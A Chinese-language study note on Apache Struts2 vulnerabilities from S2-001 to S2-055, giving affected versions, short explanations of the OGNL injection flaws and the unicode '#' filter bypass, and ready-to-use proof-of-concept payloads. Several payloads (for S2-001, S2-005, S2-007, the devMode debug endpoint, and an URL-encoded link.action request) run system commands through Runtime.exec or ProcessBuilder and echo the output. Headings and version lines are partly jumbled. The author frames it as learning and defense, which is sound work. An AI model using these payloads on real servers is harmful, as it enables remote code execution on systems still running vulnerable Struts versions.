2017年Struts
被爆出的漏洞比以往多了很多,抽时间整理一下其中的环境以及POC和漏洞分析,学习一下其中的漏洞原理和分析,防御,以后如果再次爆发这样漏洞的时候,也能够自己试着分析一下,不用再去傻傻的等着了。
[测试环境]()
<s:url>
和<s:a>
XSS漏洞XWork ParameterInterceptors
绕过导致OGNL
执行XWork ParameterInterceptors
绕过远程代码执行XWork
生成错误页面时的XSS漏洞OGNL
执行ParameterInterceptor
漏洞允许远程代码执行Struts2 token
机制防护CSRF
漏洞时,滥用已知会话属性可能绕过token检测DOS
攻击Showcase app
漏洞可能导致远程代码执行历史高危漏洞如下:S2-001
、S2-003
、S2-005
、S2-007
、S2-008
,S2-009
、S2-012~S2-016
、S2-019
、S2-032
、S2-033
、S2-037
、S2-045
、S2-048
、S2-052
、S2-053
、S2-055
。
该漏洞其实是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析。
影响版本
Struts 2.0.0 - Struts 2.0.8
测试
获取 tomcat 执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
获取 Web 路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
参考Struts2和Webwork远程命令执行漏洞分析、Struts-S2-003漏洞利用(含环境搭建、含POC)。
影响版本
Struts 2.0.0 - Struts 2.0.11.2
2006/9/25 - 2008/6/23
漏洞介绍
Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制。
环境搭建
解压,将其中的struts2-showcase-2.0.1.war
拷贝到\tomcat\webapps
下,这里重命名了s2-003
复现没有回显。
影响版本
Struts 2.0.0 - Struts 2.1.8.1
S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。
POC
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
更改命令为whoami,提示下载文件。文件中含有执行命令的结果。
影响版本
Struts 2.0.0 - Struts 2.2.3
当有转换错误时,用户输入被评估为OGNL表达式。这允许恶意用户执行任意代码。
POC
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
会在age中得到相应的信息。
影响版本
Struts 2.1.0 - Struts 2.3.1
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):
/showcase.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))
影响版本: 2.1.0 - 2.3.1.1
影响版本: 2.1.0 - 2.3.13
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
影响版本: Struts 2.0.0 - Struts 2.3.14-Struts 2.0.0 - Struts 2.3.14.1
POC
/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('calc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
影响版本:Struts 2.0.0 - Struts 2.3.15
影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
Apache Struts2 s2-032技术分析及漏洞检测脚本
影响版本:Struts 2.3.20 - Struts Struts 2.3.28.1
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
影响版本:Struts 2.5 - Struts 2.5.14